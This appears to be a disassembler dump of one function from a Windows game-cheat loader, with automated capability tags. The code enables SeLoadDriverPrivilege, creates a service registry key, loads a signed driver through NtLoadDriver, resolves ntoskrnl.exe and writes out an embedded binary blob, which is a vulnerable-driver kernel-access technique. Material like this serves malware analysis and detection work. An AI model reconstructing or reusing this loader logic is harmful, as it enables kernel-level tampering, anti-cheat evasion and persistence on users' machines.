Function at 0x140043be0
Capabilities:
Enumerate pe sections
Get system information on windows
Install driver
Make suspicious ntquerysysteminformation call
Parse pe header
Persist via windows service
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x2d8]
sub rsp, 0x3b0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140074040]
xor rax, rsp
mov qword [rbp + 0x290], rax
xor r13d, r13d
mov r12d, r13d
mov dword [rbp + 0x50], r13d
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov qword [rbp + 0x170], rax
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
mov rax, qword [0x140075368]
mov ecx, 0x5a4d
cmp word [rax], cx
je 0x140043c57
mov r14d, r13d
jmp 0x140043c69
movsxd r14, dword [rax + 0x3c]
add r14, rax
cmp dword [r14], 0x4550
cmovne r14, r13
mov qword [rbp - 0x70], r14
mov rbx, r13
mov dword [rbp + 0x50], r13d
lea r9, [rbp + 0x50]
xor r8d, r8d
xor edx, edx
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140043cd8
nop
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x50]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x50]
mov r8d, dword [rbp + 0x50]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140043c90
test eax, eax
js 0x140043db8
mov edi, r13d
cmp dword [rbx], r13d
jbe 0x140043db8
nop dword [rax]
mov eax, edi
imul rcx, rax, 0x128
lea rsi, [rcx + rbx]
movzx edx, word [rsi + 0x2e]
add rdx, 0x30
add rdx, rcx
add rdx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], r13
mov qword [rbp + 0xa8], r13
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], r12b
jne 0x140043d30
lea rcx, [rbp + 0x90]
call fcn.140042fc0
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
lea rdx, str.mlx4_bus.sys
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140043ddf
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140043dae
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043da9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043e2c
call fcn.140055000
inc edi
cmp edi, dword [rbx]
jb 0x140043cf0
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [r14], 0x4550
je 0x140043e65
lea rdx, str.Invalid_NT_signature_in_target_driver
jmp 0x140043e44
mov rdi, qword [rsi + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140043e38
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043e33
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043e33
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
test rdi, rdi
je 0x140043dc9
lea rdx, str.Driver_already_loaded__continuing_to_initialize_the_cheat...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140047d10
lea rdx, [0x140047ef0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140045f41
mov ebx, dword [r14 + 0x50]
mov dword [rsp + 0x68], ebx
mov eax, dword [0x140069a88]
mov dword [rbp + 0x58], eax
movzx eax, word [0x140069a8c]
mov word [rbp + 0x5c], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], r13
mov qword [rbp + 0x100], r13
mov r8d, 0xc
lea rdx, str.mlx4_bus.sys
lea rcx, [rbp + 0xe8]
call fcn.140042fc0
mov r9d, ebx
lea r8, [rbp + 0x58]
lea rdx, [rbp + 0xe8]
lea rcx, [rbp - 0x30]
call fcn.140042430
nop
cmp dword [rbp + 0x18], 0
jne 0x140043edc
lea rdx, str.Failed_to_get_info_for_potential_signed_driver.
jmp 0x140045f1b
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rsp + 0x48]
call fcn.140046ed0
mov qword [rbp - 0x40], r13
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x40]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140043f11
mov bl, 1
jmp 0x140043f84
mov qword [rbp + 0x58], r13
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rdx, qword [rsp + 0x48]
lea r8, [rbp + 0x58]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140043f3a
mov bl, 1
jmp 0x140043f84
mov dword [rbp + 0x30], 1
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x34], rax
mov dword [rbp + 0x3c], 2
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
mov r9d, 0x10
lea r8, [rbp + 0x30]
xor edx, edx
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140043f78
mov bl, 1
jmp 0x140043f84
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x140043fc9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043fc4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043fc4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
lea rdi, [0x1400746a0]
movdqa xmm6, xmmword [0x14006a7a0]
test bl, bl
je 0x140043fe4
mov r15d, r13d
jmp 0x14004449c
lea rax, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rax, qword [rbp - 0x30]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0x38], rax
call fcn.140055d08
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x30], xmm0
lea r8, [rbp + 0x30]
mov edx, eax
lea rcx, [rbp + 0xc8]
call fcn.140040650
mov dword [rbp + 0x50], 3
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], rdi
lea r8, [rbp + 0x30]
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x90]
call fcn.140041710
mov dword [rbp + 0x50], 7
cmp dword [rbp + 0x30], 0
jne 0x140045f8e
lea rax, [rbp + 0x90]
cmp qword [rbp + 0xa8], 7
cmova rax, qword [rbp + 0x90]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x38], rax
call fcn.140055d08
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x30], xmm0
lea r8, [rbp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x48]
call fcn.140049480
mov dword [rbp + 0x50], 0x3f
lea r8, [rsp + 0x48]
lea rcx, [rsp + 0x70]
call fcn.140047ac0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0x30]
call fcn.140042fc0
nop
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rdx, qword [rbp - 0x10]
mov r8, qword [rbp]
lea rcx, [rbp + 0x30]
call fcn.140047850
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rdx, qword [rbp + 0x30]
lea r8, [rbp + 0x58]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x140044158
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140044151
inc rdx
mov rcx, qword [rbp + 0x30]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14004414c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004426f
call fcn.140055000
mov bl, 1
jmp 0x140044280
mov byte [rbp + 0x21], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x21]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140044116
mov byte [rbp + 0x22], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x22]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140044116
mov byte [rbp + 0x23], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x23]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140044116
mov eax, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x140044206
mov rbx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140044116
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, eax
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14004427b
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044276
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140044276
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
test ebx, ebx
setne bl
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1400442bf
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400442ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400442ba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
movdqu xmmword [rbp - 0x80], xmm6
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140044309
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044304
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140044304
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
movdqu xmmword [rsp + 0x58], xmm6
mov byte [rsp + 0x48], 0
mov r12d, 0x3b
mov rdx, qword [rbp + 0xa8]
cmp rdx, 7
jbe 0x140044363
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004435e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004435e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
movdqa xmm0, xmmword [0x14006a790]
movdqu xmmword [rbp + 0xa0], xmm0
mov word [rbp + 0x90], r13w
mov rdx, qword [rbp + 0xe0]
cmp rdx, 7
jbe 0x1400443c4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400443bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400443bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
test bl, bl
je 0x1400443d0
mov r15d, r13d
jmp 0x14004449c
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
mov r8d, 0x34
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x70]
call fcn.140042fc0
nop
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rdx, qword [rbp - 0x10]
mov r8, qword [rbp]
lea rcx, [rbp + 0x70]
call fcn.140047850
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rdx, qword [rbp + 0x70]
lea rcx, [rbp + 0x108]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x60]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x60]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
mov ebx, eax
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x140044493
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004448e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004448e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
mov r15d, r13d
test ebx, ebx
sete r15b
lea r14, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova r14, qword [rbp - 0x10]
mov rbx, r13
mov dword [rbp + 0x58], r13d
lea r9, [rbp + 0x58]
xor r8d, r8d
xor edx, edx
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140044518
nop dword [rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x58]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x58]
mov r8d, dword [rbp + 0x58]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x1400444d0
test eax, eax
js 0x1400445f9
mov edi, r13d
cmp dword [rbx], r13d
jbe 0x1400445f9
nop dword [rax]
mov eax, edi
imul rcx, rax, 0x128
lea rsi, [rcx + rbx]
movzx edx, word [rsi + 0x2e]
add rdx, 0x30
add rdx, rcx
add rdx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], r13
mov qword [rbp + 0xa8], r13
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140044570
lea rcx, [rbp + 0x90]
call fcn.140042fc0
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
mov rdx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140044a39
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x1400445ef
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400445ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044a86
call fcn.140055000
inc edi
cmp edi, dword [rbx]
jb 0x140044530
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdi, r13
cmp r15d, 1
ja 0x140045f14
test rdi, rdi
je 0x140045f14
lea rdx, str.Loaded_signed_driver__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140047d10
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rdx, qword [rbp - 0x10]
mov r8, qword [rbp]
mov rcx, rax
call fcn.140048e70
lea rdx, str.__at__0x
mov rcx, rax
call fcn.140047d10
lea rdx, [0x140040530]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, str.__with_result__0x
call fcn.140047d10
lea rdx, [0x140040530]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, r15d
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140069ae0]
call fcn.140047d10
lea rdx, [0x140047ef0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov esi, dword [rbp + 0x10]
add rsi, rdi
mov qword [rbp - 0x68], rsi
lea rdx, str.Target_section__.data__offset__0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140047d10
lea rdx, [0x140040530]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
mov rcx, rax
lea rdx, str.__size__0x
call fcn.140047d10
lea rdx, [0x140040530]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x14]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
mov rcx, rax
lea rdx, str.__map_start__0x
call fcn.140047d10
lea rdx, [0x140040530]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x140069ae0]
call fcn.140047d10
lea rdx, [0x140047ef0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, r13
mov dword [rbp + 0x50], r13d
lea r9, [rbp + 0x50]
xor r8d, r8d
xor edx, edx
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400447da
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x50]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x50]
mov r8d, dword [rbp + 0x50]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140044792
test eax, eax
js 0x1400448a5
mov edi, r13d
cmp dword [rbx], r13d
jbe 0x1400448a5
nop
mov eax, edi
imul rcx, rax, 0x128
movzx eax, word [rbx + rcx + 0x2e]
add rax, rbx
lea rdx, [rcx + 0x30]
add rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x88], r13
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x140044824
lea rcx, [rbp + 0x70]
call fcn.140042fc0
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rcx, qword [rbp + 0x70]
lea rdx, str.ntoskrnl.exe
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140044ab0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x14004489b
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044896
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044afa
call fcn.140055000
inc edi
cmp edi, dword [rbx]
jb 0x1400447f0
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
call fcn.140041ad0
mov r13, rax
call fcn.140041ee0
mov r15, rax
test r13, r13
je 0x140045f0b
test rax, rax
je 0x140045f0b
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
xor edi, edi
mov qword [rbp + 0xc0], rdi
mov edx, 0x6650
lea rcx, [rbp + 0xb0]
call fcn.140043af0
mov rbx, qword [rbp + 0xb0]
mov r8d, 0x6650
lea rdx, [0x14005c910]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + 0x6650]
mov qword [rbp + 0xb8], rax
lea rdx, [rbp + 0x70]
call fcn.1400430c0
nop
lea rcx, [rsp + 0x70]
call fcn.140041970
nop
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x140044956
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x30], rcx
mov qword [rbp + 0x38], rax
call fcn.140055d08
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x30], xmm0
lea r8, [rbp + 0x30]
mov edx, eax
lea rcx, [rbp + 0xe8]
call fcn.140049480
or r12d, 0x1c00
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rdx, qword [rbp + 0x70]
mov r8, qword [rbp + 0x80]
lea rcx, [rbp + 0xe8]
call fcn.140047850
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
mov qword [rbp + 0xd8], rdi
mov qword [rbp + 0xe0], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd8], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
bts r12d, 0xd
mov rdx, qword [rbp + 0x100]
cmp rdx, 0xf
jbe 0x140044b10
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044b0b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140044b0b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdi, qword [rsi + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140044a92
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044a8d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140044a8d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
mov qword [rbp + 0xa0], r13
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], 0
jmp 0x14004460d
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x1400448b6
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044b01
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140044b01
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
jmp 0x1400448b6
call fcn.140055000
movdqu xmmword [rbp + 0xf8], xmm6
mov byte [rbp + 0xe8], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140044b63
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044b5e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140044b5e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055000
movdqa xmm0, xmmword [0x14006a790]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], di
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x180]
call fcn.140056643
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova rdx, qword [rbp + 0xc8]
lea rcx, [rbp + 0x180]
call fcn.1400460e0
nop
mov r8, qword [rbp + 0xb8]
mov rdx, qword [rbp + 0xb0]
sub r8, rdx
lea rcx, [rbp + 0x180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x188]
call fcn.1400474f0
test rax, rax
jne 0x140044bff
mov rax, qword [rbp + 0x180]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x180]
add rcx, rax
xor r8d, r8d
mov edx, 2
